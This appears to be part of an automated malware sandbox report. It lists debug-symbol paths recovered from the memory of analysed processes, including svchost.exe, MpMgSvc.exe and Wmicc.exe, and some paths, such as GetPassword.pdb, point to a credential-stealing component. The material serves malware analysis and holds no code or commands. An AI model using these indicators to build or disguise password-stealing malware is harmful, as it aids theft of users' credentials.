Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XPath\4.0.3.0\System.Xml.XPath.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.CompilerServices.VisualC\4.0.2.0\System.Runtime.CompilerServices.VisualC.pdb@Z L*_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Primitives/netfx\System.Runtime.Serialization.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Compression/netfx\System.IO.Compression.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Principal\4.0.1.0\System.Security.Principal.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Diagnostics.Tracing/netfx\System.Diagnostics.Tracing.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime\4.1.2.0\System.Runtime.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Writer\4.0.2.0\System.Resources.Writer.pdbl( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection\4.1.2.0\System.Reflection.pdbH,b, T,_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Diagnostics.NETCore.Client/Release/netstandard2.0/Microsoft.Diagnostics.NETCore.Client.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb\|( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.TypeConverter\4.1.2.0\System.ComponentModel.TypeConverter.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Handles\4.0.1.0\System.Runtime.Handles.pdb,)F) 8)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.RegularExpressions\4.1.1.0\System.Text.RegularExpressions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Ping\4.0.2.0\System.Net.Ping.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Extensions\4.0.1.0\System.Reflection.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Contracts\4.0.1.0\System.Diagnostics.Contracts.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.AppContext\4.1.2.0\System.AppContext.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Concurrent\4.0.11.0\System.Collections.Concurrent.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NetworkInformation\4.1.2.0\System.Net.NetworkInformation.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Primitives\4.0.2.0\System.Security.Cryptography.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Globalization.Extensions/netfx\System.Globalization.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.CompilerServices.VisualC\4.0.2.0\System.Runtime.CompilerServices.VisualC.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Security.SecureString/netfx\System.Security.SecureString.pdbf) source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\workspace\_work\1\s\artifacts\obj\Microsoft.Diagnostics.Runtime\Release\net461\Microsoft.Diagnostics.Runtime.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.InteropServices\4.1.2.0\System.Runtime.InteropServices.pdbH5b5 T5_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\DLL\Dll\x64\Release\Dll.pdb source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Tasks\4.0.11.0\System.Threading.Tasks.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TextWriterTraceListener\4.0.2.0\System.Diagnostics.TextWriterTraceListener.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Reader\4.0.2.0\System.Resources.Reader.pdbl( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Formatters\4.0.2.0\System.Runtime.Serialization.Formatters.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.ReaderWriter\4.1.1.0\System.Xml.ReaderWriter.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Tasks.Parallel\4.0.1.0\System.Threading.Tasks.Parallel.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Collections.Immutable/net461-Release/System.Collections.Immutable.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebSockets.Client\4.0.2.0\System.Net.WebSockets.Client.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.IsolatedStorage\4.0.2.0\System.IO.IsolatedStorage.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Xml.XPath.XDocument/netfx\System.Xml.XPath.XDocument.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem\4.0.3.0\System.IO.FileSystem.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.X509Certificates\4.1.2.0\System.Security.Cryptography.X509Certificates.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Expressions\4.1.2.0\System.Linq.Expressions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Csp\4.0.2.0\System.Security.Cryptography.Csp.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Dll1\Release\Dll_x86.pdb source: exe1.bin.bak.exe, exe1.bin.bak.exe, 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel\4.0.1.0\System.ComponentModel.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Requests\4.0.11.0\System.Net.Requests.pdbX)r) d)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Handles\4.0.1.0\System.Runtime.Handles.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encodings.Web/net461-Release/System.Text.Encodings.Web.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\39\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Numerics.Vectors/net46\System.Numerics.Vectors.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Collections.Immutable/net461-Release/System.Collections.Immutable.pdbSHA256M source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdbT)n) `)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.AppContext\4.1.2.0\System.AppContext.pdb<(V( H(_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Process\4.1.2.0\System.Diagnostics.Process.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Primitives\4.0.11.0\System.Net.Primitives.pdbH,b, T,_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Queryable\4.0.1.0\System.Linq.Queryable.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Security.SecureString/netfx\System.Security.SecureString.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.Primitives\4.1.2.0\System.ComponentModel.Primitives.pdbd+~+ p+_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Dynamic.Runtime\4.0.11.0\System.Dynamic.Runtime.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XDocument\4.0.11.0\System.Xml.XDocument.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading\4.0.11.0\System.Threading.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Compression.ZipFile\4.0.3.0\System.IO.Compression.ZipFile.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlDocument\4.0.3.0\System.Xml.XmlDocument.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Thread\4.0.2.0\System.Threading.Thread.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\GetPassword-master\Release\GetPassword.pdb source: MpMgSvc.exe, 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Wmicc.exe, 00000037.00000000.2244665996.0000000000424000.00000008.00000001.01000000.0000000B.sdmp, Wmicc.exe, 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebHeaderCollection\4.0.1.0\System.Net.WebHeaderCollection.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Claims\4.0.3.0\System.Security.Claims.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding\4.0.11.0\System.Text.Encoding.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding.Extensions\4.0.11.0\System.Text.Encoding.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Diagnostics.NETCore.Client/Release/netstandard2.0/Microsoft.Diagnostics.NETCore.Client.pdbSHA256 source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encodings.Web/net461-Release/System.Text.Encodings.Web.pdbSHA256I source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Specialized\4.0.3.0\System.Collections.Specialized.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Reflection.Metadata/net461-Release/System.Reflection.Metadata.pdbSHA256[] source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\netfx\System.Runtime.InteropServices.RuntimeInformation.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\39\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.ValueTuple\netfx\System.ValueTuple.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdbp( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.Primitives\4.0.3.0\System.IO.FileSystem.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.NonGeneric\4.0.3.0\System.Collections.NonGeneric.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Compression/netfx\System.IO.Compression.pdb]W source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
